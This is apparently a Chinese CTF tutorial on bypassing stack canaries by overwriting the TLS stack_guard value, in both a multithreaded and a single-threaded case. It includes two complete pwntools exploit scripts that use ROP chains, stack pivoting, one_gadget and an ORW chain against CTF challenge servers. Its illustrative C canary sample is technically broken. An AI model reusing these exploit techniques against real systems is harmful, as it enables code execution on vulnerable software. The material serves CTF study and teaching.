TLScanary:Pwn中的利器
TLScanary:Pwn中的利器
引言:什么是TLScanary?
在二进制漏洞利用(Pwn)领域,攻击者面临着层层防护措施的挑战。在安全竞赛(如CTF)和实际漏洞利用中,TLS(线程本地存储)和堆栈保护(stack canary)是常见的防护技术。TLScanary应运而生,它结合了TLS协议与堆栈保护技术,专门用于处理这些受保护的二进制文件,从而增加了攻击的难度。
可以说,TLS和canary在保护机制中有着密不可分的关系。
介绍:TLS的基本概念
TLS(线程本地存储)是一种在线程内存中存储特定数据的机制。每个线程都有自己独立的TLS区域,用于存储与该线程相关的数据。这种机制在多线程程序中尤为重要,因为它确保每个线程都有自己独立的存储空间,而不会干扰其他线程的数据。
在堆栈保护方面,TLS常被用于存储堆栈canary值。堆栈canary是一种防止缓冲区溢出攻击的安全措施,它是一种在函数返回地址之前插入的特殊值。其作用类似于“哨兵”,如果缓冲区溢出覆盖了canary值,程序会在返回前检测到不一致,并立即终止执行,从而防止恶意代码的运行。
对于多线程的canary来说,每个线程的canary都是独立存在的。当一个线程被创建时,操作系统会为该线程分配一个独立的TLS区域,这个区域通常通过某种线程控制块(TCB)来管理。每个线程都有一个独立的TCB,从而确保了每个线程的canary值的独立性和安全性。
多线程环境中的TLS和Canary
在多线程环境中,每个线程的堆栈上都会有一个独立的canary值。操作系统或运行时库在为每个线程分配堆栈时,会在堆栈的适当位置插入一个canary值,以防止缓冲区溢出攻击。
下面我们看一段代码,展示了如何在多线程环境中使用TLS和canary:
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
// 生成随机canary值的函数
unsigned long generate_random_canary() {
return (unsigned long)rand();
}
// 终止程序的函数
void terminate_program() {
printf("Canary value has been modified. Terminating program.\n");
exit(1);
}
// 线程函数
void* thread_function(void* arg) {
// 每个线程有自己独立的TLS区域
__thread int thread_local_variable = 0;
// 在函数入口处插入canary值
unsigned long canary_value = generate_random_canary();
unsigned long expected_canary_value = canary_value;
// 检查canary值是否被修改
if (canary_value != expected_canary_value) {
terminate_program();
}
// 线程的实际工作
// ...
return NULL;
}
int main() {
const int NUM_THREADS = 5;
pthread_t threads[NUM_THREADS];
// 创建多个线程
for (int i = 0; i < NUM_THREADS; i++) {
pthread_create(&threads[i], NULL, thread_function, NULL);
}
// 等待所有线程完成
for (int i = 0; i < NUM_THREADS; i++) {
pthread_join(threads[i], NULL);
}
return 0;
}
可以看到,每个线程都有自己的TLS区域和独立的canary值,从而确保了多线程程序的安全性。
但是,多线程的canary通常也有被利用的时候,当程序创建线程的时候会创建TLS,TLS里面会存储有canary的值,而TLS会保存在stack高地址的地方那么就是说,如果我们可以通过溢出覆盖到TLS的位置那么就可以绕过canary,但是这个条件比较苛刻。
溢出字节够大,通常至少一个page(4K)
创建一个线程,在线程内栈溢出
所以一般来说还是比较安全的,但是不排除,有些疏忽的漏洞导致攻击者可以修改到stack_guard字段的内容,要了解stack_guard首先先看两个结构体。
struct pthread结构体解析
为了更好地理解TLS和canary的具体实现,我们需要了解struct pthread
结构体。这个结构体包含了线程控制块(TCB)和其他相关信息。
#include <stddef.h> // 为了使用 size_t
/* Definition of the tcbhead_t structure (hypothetical) */
typedef struct {
// 定义线程控制块头部结构体
// 可以根据实际情况进行定义
// 例如:线程ID、状态信息等
int thread_id;
// 其他相关信息
} tcbhead_t;
/* Define the pthread structure */
struct pthread {
#if !TLS_DTV_AT_TP
/* This overlaps the TCB as used for TLS without threads (see tls.h). */
tcbhead_t header; // 可能与TLS相关的头部信息
#else
struct {
// 更复杂的结构体定义
// 可能包含与TLS相关的更多详细信息
// ...
} header;
#endif
/* Extra padding for alignment and potential future use */
void *__padding[24]; // 填充数组,用于对齐和可能的未来扩展
};
在这个结构体中,我们看到第一个字段是tcbhead_t
,它包含了线程控制块(TCB)的相关信息。
tcbhead_t结构体解析
typedef struct {
void *tcb; /* 指向线程控制块(TCB)的指针 */
dtv_t *dtv; /* 线程特定数据的指针 */
void *self; /* 指向线程描述符的指针 */
int multiple_threads; /* 标识是否有多个线程 */
int gscope_flag; /* 全局作用域标志 */
uintptr_t sysinfo; /* 系统信息 */
uintptr_t stack_guard;/* 堆栈保护 */
uintptr_t pointer_guard; /* 指针保护 */
/* 其他可能的字段... */
} tcbhead_t;
在这个结构体中,stack_guard
字段存放的就是单线程的canary值。攻击者通常可以通过覆盖这个值的内容来绕过canary保护。
如何利用TLScanary进行攻击
要利用TLScanary进行攻击,攻击者需要找到覆盖或篡改canary值的方法,从而绕过堆栈保护。具体步骤如下:
定位canary值:找到目标程序中存放canary值的内存位置。
构造溢出:利用缓冲区溢出或其他漏洞覆盖canary值。
篡改canary值:将canary值修改为正确的值,避免程序检测到不一致。
执行攻击代码:利用篡改后的内存执行恶意代码。
对于多线程和单线程的canary利用,各用一个具体的题目演示一下
多线程TLScanary
题目保护情况(除pie外剩下全部开启)
64位ida反汇编看看
可以看见有创建线程的函数,pthread_create和加入线程的函数,pthread_join。下面介绍一下这两个函数
线程函数介绍
在多线程编程中,POSIX线程(Pthreads)库提供了一组函数,用于创建和管理线程。本文将介绍两个关键函数:pthread_create
和 pthread_join
,以及它们在实际代码中的应用。
pthread_create
函数用于创建一个新线程,并指定线程的起始例程和参数。其原型如下:
int pthread_create(pthread_t *thread, const pthread_attr_t *attr, void *(*start_routine)(void *), void *arg);
参数说明:
pthread_t *thread
:指向线程标识符的指针,用于存储创建的线程的ID。const pthread_attr_t *attr
:线程属性指针,可以用于设置线程属性。如果传入NULL
,则使用默认属性。void *(*start_routine)(void *)
:指向线程起始例程的指针,即线程开始执行的函数。void *arg
:传递给起始例程的参数。
那么刚刚ida看见的代码意思就是
pthread_create
函数被调用以创建一个新线程,执行 start
函数。
创建线程后,主线程调用 pthread_join
,等待新线程结束。
如果 pthread_join
返回非零值,则表示发生错误,可以在 if
语句中处理,打印处异常。
那么接下来看看加入的线程,start函数
那么可以看见给了一个很长的长度够我们溢出,很符合第一个多线程TLS canary攻击的前提。
分析:
我们可以通过覆盖线程canary来绕过canary,但是创建线程程序只能运行一次,而且每个线程的canary是独立的,也就意味着我们只能一条ROP链达到泄露地址执行one_gadget
思路:
1.覆盖线程TLS,修改canary的内容
2.在泄露libc地址的同时把one_gadget读入bss段上
3.进行栈迁移执行one_gadget
EXP:
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context(log_level='debug',arch='amd64',os='linux')
libc = ELF('./libc6_2.27-3ubuntu1.5_amd64.so')
io =remote('pwn.challenge.ctf.show',28270)
elf =ELF('../pwn89')
puts_plt = elf.plt["puts"]
put_got = elf.got["puts"]
read_plt = elf.plt["read"]
leave = 0x400B71
pop_rdi_ret = 0x400be3
pop_rsi_r15_ret = 0x400be1
bss_addr = 0x602010
payload = b'a' * 0x1010 + p64(bss_addr - 0x8)+ p64(pop_rdi_ret) + p64(put_got) + p64(puts_plt)
payload += p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_r15_ret) + p64(bss_addr) + p64(0) + p64(read_plt)
payload += p64(leave)
payload = payload.ljust(0x1900,b'a')
io.sendlineafter("send:\n",str(0x1900))
#sleep(1)
io.send(payload)
io.recvuntil("See you next time!\n")
puts_addr = u64(io.recv(6).ljust(8,b'\x00'))
success('puts_addr------>'+hex(puts_addr))
one_gadget = puts_addr - libc.sym['puts'] + 0x10a2fc
io.sendline(p64(one_gadget))
io.interactive()
单线程TLScanary
题目保护情况(保护全开)
64位ida反汇编
初看是堆的菜单,我们到具体函数分析一下
add函数,申请堆块的大小有限制,会创建另一个堆块存储我们堆块的指针
delete函数,存在明显的UAF漏洞
show函数,可以分别打印我们创建的堆块已经程序创建堆块的内容(后者只能用一次)
edit函数,存在一个很严重的漏洞,可以任意地址写,但是由于unsigned_int8类型指针的限制我们只能改一个字节
除此之外,read函数还有溢出,但是溢出长度不够
程序开了沙箱,不能直接获取shell,只能orw获取flag
分析:
存在UAF漏洞和打印函数,可以泄露heap地址和libc地址,可以通过任意地址写覆盖TLScanary,通过栈迁移,执行ORW
思路:
1.通过UAF漏洞,和show功能,分别泄露heap地址,和libc地址
2.通过任意地址写,覆盖 stack_guard,进而绕过canary
3.通过栈迁移,把程序流劫持到heap上使用orw获取flag
EXP:
from pwn import *
context(log_level='debug',arch='amd64',os='linux')
libc =ELF('./libc-2.31.so')
#io = process('./binding')
io = remote('node5.buuoj.cn',26892)
def add(index,size,content):
io.sendlineafter('choice:','1')
io.sendlineafter('Idx:',str(index))
io.sendlineafter('Size:',str(size))
io.sendafter('Content:',content)
def edit(index,content1,content2):
io.sendlineafter('choice:','2')
io.sendafter('Idx:',index)
io.sendafter('context1: ',content1)
io.sendafter('context2: ',content2)
def show(rw,index):
io.sendlineafter('choice:','3')
io.sendlineafter('choice:',rw)
io.sendlineafter('Idx:',str(index))
def free(index):
io.sendlineafter('choice:','4')
io.sendlineafter('Idx:',str(index))
#gdb.attach(io)
for i in range(6):
add(i,0x100,'a')
for i in range(1,5):
free(i)
#gdb.attach(io)
show('0',2)
io.recvuntil(': ')
heap_base = u64(io.recv(6).ljust(8,b'\x00')) - 0x5d0
success('heap_base----->'+hex(heap_base))
#gdb.attach(io)
show('1',4)
io.recvuntil(': ')
libc_base = u64(io.recv(6).ljust(8,b'\x00')) - 96 - 0x10 -libc.sym['__malloc_hook']
success('libc_base----->'+hex(libc_base))
TLS = libc_base + 0x1f3568
success('TLS----->'+hex(TLS))
pause()
pop_rdi = libc_base + 0x0000000000023b6a # pop rdi ; ret
pop_rsi = libc_base + 0x000000000002601f # pop rsi ; ret
pop_rdx = libc_base + 0x0000000000142c92 # pop rdx ; ret
leave_ret = libc_base + 0x00000000000578c8 # leave ; ret
#gdb.attach(io)
orw_payload = p64(pop_rdi) + p64(heap_base + 0x1010)+p64(pop_rsi) + p64(0)+p64(pop_rdx)+p64(0) +p64(libc.sym['open']+libc_base)
orw_payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(heap_base + 0x200)
orw_payload += p64(pop_rdx) + p64(0x30) + p64(libc.sym['read']+libc_base)
orw_payload += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(heap_base + 0x200) + p64(pop_rdx) + p64(0x30)
orw_payload += p64(libc.sym['write']+libc_base)
orw_payload = orw_payload.ljust(0xb0,b'a')
orw_payload += b'./flag\x00\x00'
add(6,0x120,orw_payload)
payload = b'0'.ljust(0x28, b'\x00') + p64(0) + p64(heap_base+0xf58) + p64(leave_ret)
edit(payload,p64(TLS),b'\x00'*8)
io.interactive()
结语:
TLScanary结合了TLS和堆栈canary的技术,显著增加了二进制漏洞利用的难度。理解TLS和canary的工作原理,对于编写更安全的程序和防范攻击至关重要。无论是单线程的canary还是多线程的canary,都需要我们去重视
总之,TLS 和 canary 不仅仅是安全技术的一部分,更是构建信任和保护用户隐私的基石。
TLScanary:Pwn中的利器的更多相关文章
- eclipse中三大利器
eclipse中两大利器: 首先说下用eclipse开发工具.进行java代码,开发的时候,我们开发完成以后.需要测试.大部分我们用Junit测试工具.可是内部的代码覆盖率.和结构我们看的不是那么详细 ...
- Win Server 8中的利器:微软在线备份服务
微软在Windows Server 8中添加在线备份服务了?你一定以为我在开玩笑,是吧?但是微软确实这么做了. 微软在Windows Server 8中添加在线备份服务了?你一定以为我在开玩笑 ...
- Linux pwn入门教程(6)——格式化字符串漏洞
作者:Tangerine@SAINTSEC 0x00 printf函数中的漏洞 printf函数族是一个在C编程中比较常用的函数族.通常来说,我们会使用printf([格式化字符串],参数)的形式来进 ...
- Linux pwn入门教程——格式化字符串漏洞
本文作者:Tangerine@SAINTSEC 原文来自:https://bbs.ichunqiu.com/thread-42943-1-1.html 0×00 printf函数中的漏洞printf函 ...
- PWN入门
pwn ”Pwn”是一个黑客语法的俚语词 ,是指攻破设备或者系统 .发音类似“砰”,对黑客而言,这就是成功实施黑客攻击的声音——砰的一声,被“黑”的电脑或手机就被你操纵.以上是从百度百科上面抄的简介, ...
- 【ButterKnife】 安卓程序猿的一大利器
注:近期才看到的这个类库,来自于jakewharton大神的力作,安卓里面的视图注入库 另小弟水平有限,翻译的不好,还请多多指正 首先是地址(托管在github上):http://jakewharto ...
- CTF必备技能丨Linux Pwn入门教程——格式化字符串漏洞
Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...
- pwn学习日记Day16 pwn原理理解
CTF-Pwn入门及栈溢出原理解释 CTF pwn 中最通俗易懂的堆入坑指南 看雪论坛
- Pwn学习随笔
Pwn题做题流程 使用checksec检查ELF文件保护开启的状态 IDApro逆向分析程序漏洞(逻辑复杂的可以使用动态调试) 编写python的exp脚本进行攻击 (若攻击不成功)进行GDB动态调试 ...
- 从SQL的视角用powershell
SQL是数据处理中的利器,语法简单,表现力强.同时SQL作为说明型语言,让使用者关注在数据处理上.Powershell是微软提供的一个命令行工具.虽然在powershell中无法直接编写SQL,但是提 ...
随机推荐
- 智能工作流:Spring AI高效批量化提示访问方案
基于SpringAI搭建系统,依靠线程池\负载均衡等技术进行请求优化,用于解决科研&开发过程中对GPT接口进行批量化接口请求中出现的问题. github地址:https://github.co ...
- .NET 采用开源软件OpenOffice 实现文档转码服务(word ppt excel)转PDF
前言 前几年做了个项目,里面有个需求,需要在浏览器中在线浏览word excel ppt pdf等文档. 最近又开始研究并记录下来 当时方案: 因为浏览器中阅读文档暂时只能通过pdf方式读取,所以就 ...
- Gitea 代码仓库平台
引言 Gitea 是一个自己托管的 Git 服务程序.他和 GitHub,Bitbucket or Gitlab 等比较类似.它是从 Gogs 发展而来,不过它已经 Fork 并且命名为 Gitea. ...
- PHP 中使用 ElasticSearch 的最佳实践 (下)
引言 上一篇文章,我们使用同步的方式将数据,同步写入到 ElasticSearch 中.接下来的这篇文章,主要介绍使用 RabbitMQ 的方式,异步的将数据同步到 ElasticSearch . 部 ...
- Android OpenMAX(五)高通OMX Core实现
上一节了解了OMX Core提供的内容,这一节我们看看高通OMX Core是如何实现的.本节代码参考自: omx_core_cmp.cpp registry_table_android.c qc_om ...
- kubernetes自动扩缩容[HPA控制器 horizontal pod autoscaler]
kubernetes自动扩缩容[HPA控制器 horizontal pod autoscaler] #查看当前hpa控制器版本: [root@k8s-master01 ~]# kubectl get ...
- 霍夫变换原理及实现(Opencv C++)
已知一幅图像中的n个点,假设我们希望找到这些点中位于直线上的子集.一种可能的解决方法是,首先找到由每对点确定的所有直线,然后寻找靠近特定直线的那些点的所有子集.这种方法涉及寻找n(n-1)/2~n2条 ...
- 算法学习笔记(39): 2-SAT
SAT 问题,也就是可满足性问题 Boolean Satisfiability Problem,是第一个被证明的 NPC 问题. 但是特殊的 2-SAT 我们可以通过图论的知识在线性复杂度内求解,构造 ...
- C# .NET 国密 SM2 签名 默认USER ID
C# .NET 国密 SM2 签名 默认USER ID: 1234567812345678 string userId = "1234567812345678"; byte[] b ...
- UDP端口探活的那些细节
一 背景 商业客户反馈用categraf的net_response插件配置了udp探测, 遇到报错了,如图 udp是无连接的,无法用建立连接的形式判断端口. 插件最初的设计是需要配置udp的发送字符 ...